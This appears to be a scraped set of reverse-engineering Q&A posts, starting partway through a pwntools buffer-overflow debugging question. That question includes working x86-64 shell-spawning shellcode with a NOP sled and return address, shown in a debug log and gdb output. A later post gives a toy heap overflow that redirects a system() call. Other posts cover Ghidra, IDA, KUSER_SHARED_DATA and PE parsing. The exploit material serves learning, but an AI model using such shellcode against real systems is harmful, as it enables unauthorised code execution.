b'en_US.UTF-8', b'SSH_AGENT_PID': b'3743', b'GTK_MODULES': b'gail:atk-bridge', b'PWD': b'/home/n/Documents/Exploitation/basics', b'LOGNAME': b'n', b'XDG_SESSION_DESKTOP': b'ubuntu', b'XDG_SESSION_TYPE': b'x11', b'GPG_AGENT_INFO': b'/run/user/1000/gnupg/S.gpg-agent:0:1', b'XAUTHORITY': b'/run/user/1000/gdm/Xauthority', b'GJS_DEBUG_TOPICS': b'JS ERROR;JS LOG', b'WINDOWPATH': b'2', b'HOME': b'/home/n', b'USERNAME': b'n', b'IM_CONFIG_PHASE': b'1', b'LC_PAPER': b'en_US.UTF-8', b'LANG': b'en_US.UTF-8', b'LS_COLORS': b'rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:', b'XDG_CURRENT_DESKTOP': b'ubuntu:GNOME', b'VTE_VERSION': b'6003', b'GNOME_TERMINAL_SCREEN': b'/org/gnome/Terminal/screen/ff3cb1d9_3c32_4305_b119_f9818ba98eb0', b'INVOCATION_ID': b'f6142bf9cd0a472eadfed7888909b8da', b'MANAGERPID': b'3551', b'GJS_DEBUG_OUTPUT': b'stderr', b'GEM_HOME': b'/home/n/gems', b'LESSCLOSE': b'/usr/bin/lesspipe %s %s', b'XDG_SESSION_CLASS': b'user', b'TERM': b'xterm-256color', b'LC_IDENTIFICATION': b'en_US.UTF-8', b'DEFAULTS_PATH': b'/usr/share/gconf/ubuntu.default.path', b'LESSOPEN': b'| /usr/bin/lesspipe %s', b'USER': b'n', b'GNOME_TERMINAL_SERVICE': b':1.166', b'DISPLAY': b':0', b'SHLVL': b'1', b'LC_TELEPHONE': b'en_US.UTF-8', b'QT_IM_MODULE': b'ibus', b'LC_MEASUREMENT': b'en_US.UTF-8', b'PAPERSIZE': b'letter', b'XDG_RUNTIME_DIR': b'/run/user/1000', b'LC_TIME': b'en_US.UTF-8', b'JOURNAL_STREAM': b'9:50754', b'XDG_DATA_DIRS': b'/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop', b'PATH': b'/home/n/gems/bin:/home/n/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin', b'GDMSESSION': b'ubuntu', b'DBUS_SESSION_BUS_ADDRESS': b'unix:path=/run/user/1000/bus', b'LC_NUMERIC': b'en_US.UTF-8', b'_': b'/usr/bin/python3', b'OLDPWD': b'/home/n/Documents/Exploitation'} : pid 21335 [DEBUG] Received 0x1d bytes: b'Buffer is at 0x7fffffffdd40.\n' Received: b'Buffer is at 0x7fffffffdd40.\n' Using address: b'@\xdd\xff\xff\xff\x7f\x00\x00' Using payload: b&quot;H1\xc0H1\xff\xb0\x03\x0f\x05PH\xbf/dev/ttyWT_P^f\xbe\x02'\xb0\x02\x0f\x05H1\xc0\xb0;H1\xdbS\xbbn/shH\xc1\xe3\x10f\xbbbiH\xc1\xe3\x10\xb7/SH\x89\xe7H\x83\xc7\x01H1\xf6H1\xd2\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90@\xdd\xff\xff\xff\x7f\x00\x00&quot; [DEBUG] Sent 0x110 bytes: 00000000 48 31 c0 48 31 ff b0 03 0f 05 50 48 bf 2f 64 65 β”‚H1Β·Hβ”‚1Β·Β·Β·β”‚Β·Β·PHβ”‚Β·/deβ”‚ 00000010 76 2f 74 74 79 57 54 5f 50 5e 66 be 02 27 b0 02 β”‚v/ttβ”‚yWT_β”‚P^fΒ·β”‚Β·'Β·Β·β”‚ 00000020 0f 05 48 31 c0 b0 3b 48 31 db 53 bb 6e 2f 73 68 β”‚Β·Β·H1β”‚Β·Β·;Hβ”‚1Β·SΒ·β”‚n/shβ”‚ 00000030 48 c1 e3 10 66 bb 62 69 48 c1 e3 10 b7 2f 53 48 β”‚HΒ·Β·Β·β”‚fΒ·biβ”‚HΒ·Β·Β·β”‚Β·/SHβ”‚ 00000040 89 e7 48 83 c7 01 48 31 f6 48 31 d2 0f 05 90 90 β”‚Β·Β·HΒ·β”‚Β·Β·H1β”‚Β·H1Β·β”‚Β·Β·Β·Β·β”‚ 00000050 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 β”‚Β·Β·Β·Β·β”‚Β·Β·Β·Β·β”‚Β·Β·Β·Β·β”‚Β·Β·Β·Β·β”‚ * 00000100 90 90 90 90 90 90 90 90 40 dd ff ff ff 7f 00 00 β”‚Β·Β·Β·Β·β”‚Β·Β·Β·Β·β”‚@Β·Β·Β·β”‚Β·Β·Β·Β·β”‚ 00000110 [*] Switching to interactive mode $ [DEBUG] Sent 0x1 bytes: 10 * 0x1 [DEBUG] Received 0x2 bytes: b'$ ' $ $ [DEBUG] Sent 0x1 bytes: 10 * 0x1 [*] Got EOF while sending in interactive </code></pre> <p>Edit 2: I attached a debugger to my program by changing <code>p = process(&quot;./bof&quot;)</code> to <code>p = gdb.debug(&quot;./bof&quot;)</code>. I set a breakpoint at <code>main</code> and stepped through the program. It did eventually execute my shellcode correctly. However, after the last syscall in my shellcode executed, I got the following instead of getting a shell:</p> <pre><code>0x00007fffffffdd8c in ?? () [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x3b $rbx : 0x68732f6e69622f00 $rcx : 0x00007fffffffdd62 β†’ 0xdb31483bb0c03148 $rdx : 0x0 $rsp : 0x00007fffffffde30 β†’ 0x68732f6e69622f00 $rbp : 0x9090909090909090 $rsi : 0x0 $rdi : 0x00007fffffffde31 β†’ 0x0068732f6e69622f (&quot;/bin/sh&quot;?) $rip : 0x00007fffffffdd8c β†’ 0x909090909090050f $r8 : 0xfffffffffffffff9 $r9 : 0x114 $r10 : 0x0000555555556032 β†’ add BYTE PTR [rax], al $r11 : 0x346 $r12 : 0x0000555555555080 β†’ &lt;_start+0&gt; endbr64 $r13 : 0x00007fffffffdf30 β†’ 0x0000000000000001 $r14 : 0x0 $r15 : 0x0 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffde30β”‚+0x0000: 0x68732f6e69622f00 ← $rsp 0x00007fffffffde38β”‚+0x0008: 0x0000000000000000 0x00007fffffffde40β”‚+0x0010: &quot;/dev/tty&quot; 0x00007fffffffde48β”‚+0x0018: 0x0000000000000000 0x00007fffffffde50β”‚+0x0020: 0x00007ffff7ff000a β†’ add BYTE PTR [rbp-0x77], cl 0x00007fffffffde58β”‚+0x0028: 0x00007fffffffdf38 β†’ 0x00007fffffffe2ab β†’ 0x485300666f622f2e (&quot;./bof&quot;?) 0x00007fffffffde60β”‚+0x0030: 0x0000000100000000 0x00007fffffffde68β”‚+0x0038: 0x0000555555555169 β†’ &lt;main+0&gt; endbr64 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x7fffffffdd82 add rdi, 0x1 0x7fffffffdd86 xor rsi, rsi 0x7fffffffdd89 xor rdx, rdx β†’ 0x7fffffffdd8c syscall 0x7fffffffdd8e nop 0x7fffffffdd8f nop 0x7fffffffdd90 nop 0x7fffffffdd91 nop 0x7fffffffdd92 nop ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: &quot;bof&quot;, stopped, reason: SINGLE STEP ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x7fffffffdd8c β†’ syscall ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➀ process 32648 is executing new program: /bin/dash Reading /bin/dash from remote target... Reading /bin/dash from remote target... Reading /bin/2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target... Reading /bin/.debug/2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target... Reading /usr/lib/debug//bin/2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target... Reading /usr/lib/debug/bin//2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target... Reading target:/usr/lib/debug/bin//2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target... Error in re-setting breakpoint 1: Function &quot;main&quot; not defined. Reading /lib64/ld-linux-x86-64.so.2 from remote target... Reading /lib64/ld-linux-x86-64.so.2 from remote target... Reading /lib64/ld-2.31.so from remote target... Reading /lib64/.debug/ld-2.31.so from remote target... Reading /usr/lib/debug//lib64/ld-2.31.so from remote target... Reading /usr/lib/debug/lib64//ld-2.31.so from remote target... Reading target:/usr/lib/debug/lib64//ld-2.31.so from remote target... Reading /lib/x86_64-linux-gnu/libc.so.6 from remote target... Reading /lib/x86_64-linux-gnu/libc-2.31.so from remote target... Reading /lib/x86_64-linux-gnu/.debug/libc-2.31.so from remote target... Reading /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.31.so from remote target... Reading /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.31.so from remote target... </code></pre>
Buffer overflow: pwntools does not give me a shell, despite exploit working without pwntools
|python|exploit|buffer-overflow|pwntools|
<p>For the overflow from <code>name</code> to <code>command</code> to work, the difference between the addresses of both should be 0x10 bytes.</p> <p>I verified what I mentioned in the case earlier - Adding</p> <pre><code>printf(&quot;%p:%p\n&quot;, name, command); </code></pre> <p>Under a debugger stepping through main gives the addresses as</p> <pre><code>0x100404080:0x1002059f0 </code></pre> <p>Here delta &gt; 0x10 bytes and hence the <code>name</code> <code>strcpy</code> would not overflow to <code>command</code></p> <p>while without stepping or without a debugger comes out</p> <pre><code>0x7fa890405830:0x7fa890405840 </code></pre> <p>exactly 0x10 bytes.</p>
26141
2020-10-21T06:37:30.130
<p>I was trying out a simple heap overflow example (<a href="http://highaltitudehacks.com/2020/09/05/arm64-reversing-and-exploitation-part-1-arm-instruction-set-heap-overflow/" rel="nofollow noreferrer">http://highaltitudehacks.com/2020/09/05/arm64-reversing-and-exploitation-part-1-arm-instruction-set-heap-overflow/</a>) but replicated the relevant code in x86/x64 to understand it better. This is the code I used</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; int main(int argc, char *argv[]) { char *name = malloc(0x6); char *command = malloc(0x6); strcpy(command,&quot;whoami&quot;); strcpy(name,&quot;zzzzzzzzzzzzzzzzls -l&quot;); system(command); } </code></pre> <p>I noticed that if I compiled the code and ran it normally, I will get system to execute &quot;ls -l&quot; and does a folder listing. However, if I was stepping through the binary using lldb from start to midway and proceed to continue the rest of the execution while inside lldb, I will see &quot;whoami&quot; executed instead.</p> <p>I am testing this on a Mac OS and I am not sure if this is due to lldb or Mac OS behaviour?</p>
Difference in binary behaviour (execution/under debugger)
|x86-64|lldb|
<p>It all depend of what you plan to reverse and how.</p> <p>For purely static analysis, your operating system don't really matter, since there are great tools for both Windows and Linux systems(and nowadays you can even run Linux tools in the Windows linux subsystem, or use wine to emulate Windows utils on a Linux native system).</p> <p>But if you have to run what your are reversing, and do some dynamic/behavioral analysis, you must have a setup that allows you to do so.</p> <p>You added the #malware tag in your post, for this specific case, you need a virtual environment for obvious reasons.</p> <p>No matter what is your 'main' operating system, I advise you to build a Linux AND a Windows virtual machine. You can snapshot them in a clean state, working on them as you want, drop your tools, break everything, infect them, undo and start again.</p>
26150
2020-10-22T09:59:07.027
<p>people recommend windows for reverse engineering, I don't want to install windows as a virtual machine because they are laggy and I already have windows 10 as host, is it possible to use linux vm that already has tools installed instead.</p> <p>can i still download a windows malware and do reverse engineer it in linux vm.</p>
Does the operating system you use matter?
|windows|linux|malware|operating-systems|
<p>I don't use Eclipse for Ghidra myself, but as far as I just checked it should also support this. I can confirm that this approach (remote debugging plus Python stubs) works well with PyCharm.</p> <h3>Remote Debugging with pydevd</h3> <p>The basic idea is to use remote debugging with <code>pydevd</code> or similar. <a href="https://stackoverflow.com/a/41492711/13220684">https://stackoverflow.com/a/41492711/13220684</a> explains the basic usage.</p> <p>The issue with this is that you will have to install <code>pydevd</code> inside the Ghidra Jython environment. The following is adapted from <a href="https://github.com/VDOO-Connected-Trust/ghidra-pyi-generator#python-packages" rel="nofollow noreferrer">https://github.com/VDOO-Connected-Trust/ghidra-pyi-generator#python-packages</a></p> <pre><code># Create a virtualenv for Ghidra packages. # It is important to use Python2.7 for this venv! # If you want, you can skip this step and use your default Python installation. mkvirtualenv ghidra # Create Jython's site-pacakges directory. jython_site_packages=&quot;~/.local/lib/jython2.7/site-packages&quot; mkdir -p $jython_site_packages # Create a PTH file to point Jython to Python's site-packages directories. # Again, this has to be Python2.7. # Outside a virtualenv, use python -c &quot;import site; print(site.getusersitepackages()); print(site.getsitepackages()[-1])&quot; &gt; $jython_site_packages/python.pth # If using virtualenv, use the following instead python -c &quot;from distutils.sysconfig import get_python_lib; print(get_python_lib())&quot; &gt; $jython_site_packages/python.pth # Use pip to install packages for Ghidra pip install pydevd </code></pre> <p>It should now be possible to <code>import pydevd</code> inside a Ghidra Python script (or even the integrated REPL).</p> <p>I don't remember if the GhidraDev plugin for eclipse provides tab completion for the <code>ghidra</code> module inside Python scripts, but this setup is generic enough that you are not required to use Eclipse anymore if you prefer another IDE for Python.</p> <p>The IDE only needs to support remote debugging via <code>pydevd</code>. I also strongly recommend using <a href="https://github.com/VDOO-Connected-Trust/ghidra-pyi-generator" rel="nofollow noreferrer">https://github.com/VDOO-Connected-Trust/ghidra-pyi-generator</a> if you are using another IDE to provide the type information, method signatures and docstrings of the Ghidra API to the IDE.</p> <h3>Another Workaround</h3> <p>Personally I use mostly <a href="https://github.com/justfoxing/ghidra_bridge" rel="nofollow noreferrer"><code>ghidra_bridge</code></a> and the previously mentioned type stubs for Python with Ghidra. Because <code>ghidra_bridge</code> is a full RPC interface, you can write a Python 3 script with full IDE support and run it via the IDE. <code>ghidra_bridge</code> then handles the connection to the Ghidra Python environment and proxies all the relevant objects. With the type stubs the IDE just treats the script as generic Python script and the <code>ghidra</code> module like any Python 3 module.</p>
26151
2020-10-22T12:21:28.383
<p>I'd like to debug Ghidra plugin scripts written in python using an IDE such as Eclipse. I have installed Pydev and the GhidraDev plugin (from Ghidra open a script in Eclipse to autoinstall the plugin).</p> <p>With the plugin script opened in Eclipse, I'll set a breakpoint (e.g. on the print stmt below), then click Debug &gt; GhidraScripts to launch Ghidra, and finally manually initiate the script (see sample script below). I see the thread and can pause the script thread from Eclipse, but the breakpoints are never hit.</p> <p>I've tried both GhidraScripts (Headless) and GUI based GhidraScript launch, however none of my break.</p> <pre><code># Hello Function Script # @author mechgt # @category _NEW_ # @keybinding # @menupath # @toolbar import ghidra import time # Iterate through functions, parsing and printing each function = getFirstFunction() while function is not None: print(&quot;Function: {} Address: {}&quot;.format(function.getName(), function.getEntryPoint())) time.sleep(3) function = getFunctionAfter(function) </code></pre> <p><strong>How can I get debugging functionality for Ghidra Python scripts?</strong></p> <p>NOTE: The Eclipse/Ghidra/PyDev debugging issues appear related to a possible bug: <a href="https://github.com/NationalSecurityAgency/ghidra/issues/1707" rel="nofollow noreferrer">https://github.com/NationalSecurityAgency/ghidra/issues/1707</a></p>
How can I debug Ghidra plugin Python scripts in IDE?
|debugging|ghidra|python|
<p>ghidra</p> <pre><code>addr = toAddr(0x7ffe0000) currentProgram.memory.createUninitializedBlock(&quot;KUSER_SHARED_PAGE&quot;,addr,0x1000,0) createData(addr,getDataTypes(&quot;KUSER_SHARED_DATA&quot;)[0]) </code></pre> <p>result</p> <pre><code>undefined8 main(void) { wprintf((__crt_locale_pointers *)L&quot;Version: %lu.%lu.%lu\n&quot;, (ulonglong)KUSER_SHARED_DATA_7ffe0000.NtMajorVersion, (ulonglong)KUSER_SHARED_DATA_7ffe0000.NtMinorVersion, (ulonglong)KUSER_SHARED_DATA_7ffe0000.NtBuildNumber); return 0; } </code></pre> <p><strong>Method 1)</strong></p> <p>Use VirtualQuery to get the size<br /> shown below is a python poc compare the result to (MEMORY_BASIC_INFO *)foo.RegionSize</p> <pre><code>:\&gt;cat vq.py from ctypes import * meminfo =(c_ulong * 0x8)() windll.kernel32.VirtualQuery(0x7ffe0000,byref(meminfo),sizeof(meminfo)) for i in meminfo: print (hex(i)) :\&gt;python vq.py 0x7ffe0000 0x7ffe0000 0x2 0x1000 0x1000 0x2 0x20000 0x0 </code></pre> <p><strong>Method 2)</strong></p> <p>use windbg !vprot to get the same</p> <pre><code>:\&gt;cdb -c &quot;!vprot 7ffe0000;q&quot; cdb | awk &quot;/Reading/,/quit/&quot; 0:000&gt; cdb: Reading initial command '!vprot 7ffe0000;q' BaseAddress: 7ffe0000 AllocationBase: 7ffe0000 AllocationProtect: 00000002 PAGE_READONLY RegionSize: 00001000 State: 00001000 MEM_COMMIT Protect: 00000002 PAGE_READONLY Type: 00020000 MEM_PRIVATE quit: </code></pre> <p><strong>Method 3)</strong></p> <p>use windbg !address to Get a more Verbose Details of the same Address Space</p> <pre><code>:\&gt;cdb -c &quot;!address 7ffe0000;q&quot; cdb | awk &quot;/Usage:/,/quit/&quot; Usage: Other Base Address: 7ffe0000 End Address: 7ffe1000 Region Size: 00001000 ( 4.000 kB) State: 00001000 MEM_COMMIT Protect: 00000002 PAGE_READONLY Type: 00020000 MEM_PRIVATE Allocation Base: 7ffe0000 Allocation Protect: 00000002 PAGE_READONLY Additional info: User Shared Data Content source: 1 (target), length: 1000 quit: </code></pre>
26157
2020-10-22T19:36:39.217
<p>Here is a sample C code which prints Windows version directly from address of <a href="https://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kuser_shared_data/index.htm" rel="nofollow noreferrer">KUSER_SHARED_DATA</a>. Tested in Windows 10 only. The raw memory address differ in Windows version but that's not the point.</p> <pre><code>#include &lt;stdio.h&gt; int main(void) { wprintf( L&quot;Version: %lu.%lu.%lu\n&quot;, *(unsigned int *)(0x7FFE0000 + 0x026C), *(unsigned int *)(0x7FFE0000 + 0x0270), *(unsigned int *)(0x7FFE0000 + 0x0260) ); } </code></pre> <p>Here are the decompiled code:</p> <p>In GHIDRA:</p> <pre><code>int main(int _Argc,char **_Argv,char **_Env) { wprintf(L&quot;Version: %lu.%lu.%lu\n&quot;, (ulonglong)_DAT_7ffe026c, (ulonglong)_DAT_7ffe0270, (ulonglong)_DAT_7ffe0260); return 0; } </code></pre> <p>In IDA Pro + Hex-Rays:</p> <pre><code>int __fastcall main() { wprintf(L&quot;Version: %lu.%lu.%lu\n&quot;, MEMORY[0x7FFE026C], MEMORY[0x7FFE0270], MEMORY[0x7FFE0260]); return 0; } </code></pre> <p>My question: In decompiled code, is it possible to show the memory address as the member of KUSER_SHARED_DATA? For example, I want to show <code>MEMORY[0x7FFE0260]</code> as <code>SharedData.NtBuildNumber</code> or something similar to it.</p>
How to show KUSER_SHARED_DATA members in decompiled C code?
|windows|decompilation|ghidra|hexrays|
<p>The .org-directive set's the location counter, so essentially what they do here is telling the assembler that this code should be placed at 0x00 of the current section, which happens to be global 0x00 aswell and that address seems to be executed on reset on this particular CPU with this particular configuration.</p>
26166
2020-10-24T03:06:22.003
<p>I am translating some assembly code into C, and I need some help with a part of it:</p> <pre><code> .equ UBRR_val = 12 ;UBRR sets baud, 12 = 19200baud at 4 MHz .def char = r17 ; Register to hold a character .org 0x00 ; Execute this when reset button is pushed rjmp start </code></pre> <blockquote> <p>So I have translated it as follows:</p> </blockquote> <pre><code> #define UBRR_val ((4UL/19200)-1) #define char* = 17; .org 0x00 ; Execute this when reset button is pushed rjmp start </code></pre> <blockquote> <p>But I can't figure out <code>.org 0x00;</code> I think the <code>rjmp start</code> directs to the main so no changes are needed</p> </blockquote> <p>Anyone that can help with it?</p>
I am translating some assembly code into C
|assembly|atmel|
<p>You are not looking at functions that you can't reach, but at unassigned variables.</p> <p>As you said, you are looking at the .bss section. From Wikipedia, the .bss section is</p> <blockquote> <p>the portion of an object file, executable, or assembly language code that contains statically-allocated variables that are declared but have not been assigned a value yet.</p> </blockquote> <p>IDA is showing you this with the <code>dd</code> opcode. As @blabb point out, this is an <code>uninitialized dword</code>, which mean a dword that was not assigned yet. Exactly what is supposed to be in the .bss section !</p> <p>Theses variables don't have any hardcoded default values, so they are placed in this section of the binary, waiting to be populated at runtime with dynamic values.</p> <p>What you can do is to write down the address of the variable that you want to find more about, open up a debugger, let it run a bit (or you can break on a specific function if you know where this variable is being populated), and check the content of this variable by looking at the previously written memory address.</p> <p>You'll know what type of data is supposed to be inside this variable !</p> <p>Don't forget to deactivate the ASLR while running the binary (otherwise the address that you saw in IDA would not match naything), or if needed, to rebase your program in IDA.</p>
26167
2020-10-24T09:45:15.447
<p>I don't know why but I noticed, on some program I am reversing, that in a section named <code>.bss</code>, there functions and I can't find them through the regular search, why is that.</p> <p>For example, I wanted to search for <code>_mainScene</code> but it found me only one functioned named <code>newMainScene</code>:<br /> <a href="https://i.stack.imgur.com/jOPa3.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/jOPa3.png" alt="enter image description here" /></a></p> <p><strong>EDIT:</strong><br /> A friend show me that I can search with <code>Shift+4</code> in IDA for the names in <code>.bss</code>.</p>
Why some functions in IDA can't be searched
|ida|functions|
<p>The debugging API provides a notification for newly loaded libraries so the debugger can inspect their export table and set breakpoints on matching symbols.</p>
26175
2020-10-25T15:36:34.990
<p>I think I have a massive understanding problem with the following issue:</p> <p>Usually the loader will fix the Import Table for the modules that have been loaded, right, so if I set a breakpoint on CreateFileW the debugger can just follow the Import Table address and do so.</p> <p>However, I've been watching some tutorials lately and often they set breakpoints on e.g. CreateFileW for modules that have been loaded dynamically e.g. LoadLibaryA (while themself are at the entry point of the program).</p> <p>I'm unable to understand how the debugger can set a breakpoint for a module that yet has not been loaded into the memory?</p>
How can a debugger break on dynamic loaded libraries?
|c++|memory|winapi|virtual-memory|
<p>Press <code>M</code> with your cursor over a symbolic constant; IDA/Hex-Rays will bring up the enum chooser window. From there, type <code>IRP_MJ_</code>, and the chooser window should jump to the proper enumeration element.</p> <p>To have Hex-Rays automatically display function arguments as symbolic constants, change the type of the argument to e.g. <code>MACRO_IRP_MJ</code>, or whatever the name of the enumeration is.</p>
26180
2020-10-26T13:33:52.540
<p>I'm reversing some windows drivers, and IDA never converts numbers to their corresponding major function name like IRP_MJ_CREATE = 0x00, how can i force this? is there anyway i can convert a number to major function name?</p> <p>ALSO : why doesn't IDA convert it itself? for the first parameter of IoBuildSynchronousFsdRequest is always a major function number, why can't ida just name its MAJOR function name instead of giving me its number?</p>
How to resolve major function numbers to their name while reversing windows drivers?
|ida|windows|driver|kernel|
<p>Yes, it's possible.</p> <p>In order to do that you should choose on the landing page the correct architecture: <a href="https://i.stack.imgur.com/xpRCp.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/xpRCp.png" alt="enter image description here" /></a></p> <p>The file will open without any functions, in it's raw form.</p> <p>Then go to the beginning of the file, press the left mouse button, hold <code>shift</code> key, and scroll to the bottom of the file.</p> <p>When all the disassembly is selected press <code>c</code> button and choose analyze/force on the pop-up. That should do the trick.</p>
26184
2020-10-27T10:27:21.053
<p>I am trying to analyze and disassemble a raw binary that does not have an ELF header using IDA Pro.</p> <p>I have been trying to convert to code using MakeCode, but have not gotten anywhere as the binary is quite large.</p> <p>I know it is supposed to be a 32 bit LSB binary, and Ghidra decompiles the same raw binary without any problems. However, I do prefer the IDA decompiler to Ghidra which is why I am trying to make it work in IDA as well.</p> <p>The main problem is that the list of functions is missing (due to missing headers of course), but this does not seem to be a problem for Ghidra.</p> <p>Is it possible to get the same result in IDA as I get in Ghidra? If so, how? What is the correct way to analyze raw binaries in IDA Pro / Hex-Rays?</p>
Analyzing raw binary without ELF header in IDA Pro
|ida|ghidra|hexrays|
<ol> <li><p>you need to parse the section table, figure out to which section your address belongs (using their VirtualAddress and VirtualSize), then calculate the offset from the section start and add it to the section's physical offset. E.g.:</p> <p><code>SectionOffset = addr - section[i].VirtualAddress</code><br /> <code>offset = SectionOffset + section[i].PointerToRawData</code></p> </li> <li><p>A directory does not necessarily match a whole section. It may be a small part of a section or (in theory) even cross a section boundary. Note that in practice the OS loader may ignore the size field but use e.g. a NULL terminator to detect the end of data.</p> </li> <li><p>entry point is not necessarily at the start of <code>.text</code>. This was common in <code>a.out</code> binaries but is pretty rare nowadays both for PE and ELF. Usually there are other functions (e.g. library code) and/or read-only data at the beginning.</p> </li> </ol>
26199
2020-10-30T11:38:45.497
<p>I'm trying to parse a PE file manually as below:</p> <pre><code> 1 ### DOS Header 2 3 00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000 MZ.............. 4 00000010: b800 0000 0000 0000 4000 0000 0000 0000 ........@....... 5 00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 6 00000030: 0000 0000 0000 0000 0000 0000 8000 0000 ................ // e_lfanew = 0x00000080 7 8 - DOS Stub 9 00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468 ........!..L.!Th 10 00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f is program canno 11 00000060: 7420 6265 2072 756e 2069 6e20 444f 5320 t be run in DOS 12 00000070: 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000 mode....$....... 13 14 ------------------------------------------------------------------- 15 16 ### NT Header 17 18 - Magic 19 00000080: 5045 0000 20 21 - File Header 22 4c01 0f00 3f55 785e 0088 0400 PE..L...?Ux^.... // NumberOfSections = 0x000f = 15 23 00000090: a705 0000 e000 0701 // SizeOfOptionalHeader = 0x000e = 14 * 16 24 25 - Optional Header 26 0b01 0221 0022 0000 ...........!.&quot;.. 27 000000a0: 003a 0000 0006 0000 c014 0000 0010 0000 .:.............. // EntryPoint = 0x000014c0 &amp; BaseOfCode = 0x00001000 28 000000b0: 0040 0000 0000 4000 0010 0000 0002 0000 .@....@......... // BaseOfData = 0x00004000 &amp; ImageBase = 0x00400000 &amp; SectionAlignment = 0x00001000 &amp; FileAlignment = 0x00000200 29 000000c0: 0400 0000 0100 0000 0400 0000 0000 0000 ................ 30 000000d0: 0030 0500 0004 0000 3004 0500 0300 4001 .0......0.....@. 31 000000e0: 0000 2000 0010 0000 0000 1000 0010 0000 .. ............. 32 000000f0: 0000 0000 1000 0000 33 34 - Data Directories 35 0000 0000 0000 0000 ................ 36 00000100: 0070 0000 5c07 0000 0000 0000 0000 0000 .p..\........... // 